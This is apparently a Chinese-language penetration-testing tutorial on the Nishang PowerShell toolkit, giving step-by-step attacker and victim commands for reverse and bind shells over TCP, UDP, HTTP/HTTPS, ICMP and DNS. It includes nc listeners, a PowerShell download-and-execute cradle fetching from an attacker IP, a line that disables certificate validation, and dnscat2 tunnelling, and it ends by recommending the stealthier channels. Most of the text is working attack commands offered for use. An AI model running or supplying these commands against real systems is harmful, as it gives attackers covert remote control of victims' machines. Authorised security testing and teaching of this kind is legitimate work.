nishang之花样shell

nishang之花样shell


0x00 简介

Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。本篇主要介绍nishang中的各种shell。主要针对预装有powershell的系统

0x01 TCP shell

1.Reverse shell

Attacker执行:

1
2
root@kali:~# nc -lvp 4444
listening on [any] 4444 ..

Victim执行:

1
2
PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
PS F:\Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

192.168.52.129 为Attacker IP地址。

效果如下:
1442384621920.png

数据报文如下:

1442384891316.png

从报文可以看出所有数据通过TCP传输,并且执行的命令以及返回的结果均在报文中可见。

2.Bind shell

Victim 执行:

1
2
PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
PS F:\Shells> Invoke-PowerShellTcp -Bind -Port 8888

Attacker 执行:

1
2
PS F:\Shells> . .\powercat.ps1
PS F:\Shells> powercat -c 192.168.52.1 -v -p 8888

192.168.52.1 为Victim IP地址。

结果如下:
1442388856435.png

0x02 UDP Shell

1.Reverse shell

Attacker执行:

1
2
root@kali:~# nc -lvup 53
listening on [any] 53 ...

Victim执行:

1
2
PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
PS F:\Shells> Invoke-PowerShellUdp -Reverse -IPAddress 192.168.52.129 -Port 53

192.168.52.129 为Attacker IP地址。

效果如下:
1442385502537.png

数据报文如下:

1442385603753.png

从报文可以看出所有数据通过UDP传输,并且执行的命令以及返回的结果均在报文中可见。

并且这种方式支持IPV6,如下图:
1442386812443.png

2.Bind shell

Victim执行:

1
2
PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
PS F:\Shells> Invoke-PowerShellUdp -Bind -Port 7777

Attacker执行:

1
root@kali:~# nc -vtu 192.168.52.1 7777

192.168.52.1 为Victim IP地址。

效果如下:
1442389659018.png

0x03 HTTP/HTTPS shell

这里要说明一下Invoke-PoshRatHttp/Invoke-PoshRatHttps 需要Attacker以管理员身份运行

1. HTTP

Attacker执行:

1
2
3
PS F:\Shells> . .\Invoke-PoshRatHttp.ps1
PS F:\Shells> Invoke-PoshRatHttp -IPAddress 192.168.52.1 -Port 80
Listening on 80

Victim执行:

1
PS C:\Users\evi1cg> iex (New-Object Net.WebClient).DownloadString("http://192.168.52.1/connect")

192.168.52.1 为Attacker IP地址。

效果如下:
1442408481171.png

数据包如下:

1442408529013.png
从报文可以看出所有数据通过HTTP传输,并且执行的命令以及返回的结果均在报文中可见。

2. HTTPS

笔者测试使用nishang作者最新的脚本出现错误如下:
Attacker执行:

1
2
3
4
PS F:\Shells> . .\Invoke-PoshRatHttps.ps1
PS F:\Shells> Invoke-PoshRatHttps -IPAddress 192.168.52.1 -Port 8443
Listening on 8443
6D559E5925FBCC8BE5FB3257F503CB8A6C5791A7

Victim执行:

1
PS C:\Users\evi1cg> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex (New-Object Net.WebClient).DownloadString("https://192.168.52.1:8443/connect")

报错信息如下:
1442410530974.png

找到历史版本中的文件进行测试成功,Invoke-PoshRatHttps.ps1
Attacker执行:

1
2
PS F:\Shells> . .\Invoke-PoshRatHttps.ps1
PS F:\Shells> Invoke-PoshRatHttps -IPAddress 192.168.52.1 -Port 80 -SSLPort 443

这里如果出现“另一个程序正在使用此文件,进程无法访问的错误时,可以更换SSLPort端口

Victim执行(这里受害者请求的是HTTP):

1
PS C:\Users\evi1cg> iex (New-Object Net.WebClient).DownloadString("http://192.168.52.1/connect")

192.168.52.1 为Attacker IP地址。

效果如下:

1442411108781.png

数据报文如下:
1442411791153.png

通过报文可以看到,除了最初的连接请求是通过HTTP传输,其他的一切数据都是通过HTTPS连接进行通信,执行的命令及返回的结果在报文中不可见。

0x04 ICMP shell

这里需要一个脚本icmpsh,
Attacker执行:

1
2
3
☁  icmpsh [master] sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包或者ping
net.ipv4.icmp_echo_ignore_all = 1
☁ icmpsh [master] python icmpsh_m.py 192.168.52.131 192.168.52.1

python icmpsh_m.py (Attacker’s IP) (Victims IP)

Victim执行:

1
2
PS F:\Shells> . .\Invoke-PowerShellIcmp.ps1
PS F:\Shells> Invoke-PowerShellIcmp -IPAddress 192.168.52.131

执行结果:

1442417935736.png

数据报文如下:

1442418222246.png
从报文可以看出所有数据通过ICMP传输,并且执行的命令以及返回的结果均在报文中可见。

0x05 DNS shell

此次示例需要dnscat2以及powercat
安装完dnscat2后。
Attacker执行:

1
 server [master] ⚡ ruby dnscat2.rb shellcome.com

Victim执行:

1
2
PS F:\Shells> . .\powercat.ps1
PS F:\Shells> powercat -c 192.168.52.131 -v -dns shellcome.com -ep

192.168.52.131 为Attacker IP地址,即shellcome.com应该解析的IP地址。

执行效果:
1442419753537.png

数据报文如下:

1442419865628.png

通过报文可以看出所有数据通过DNS传输,并且执行的命令以及返回的结果均在报文中不可见。

0x06 小结


通过以上测试,可以看出HTTPS以及DNS方式的shell更为隐蔽。如果渗透测试过程个弹不出shell,那就换个姿势吧~

------本文结束,感谢阅读------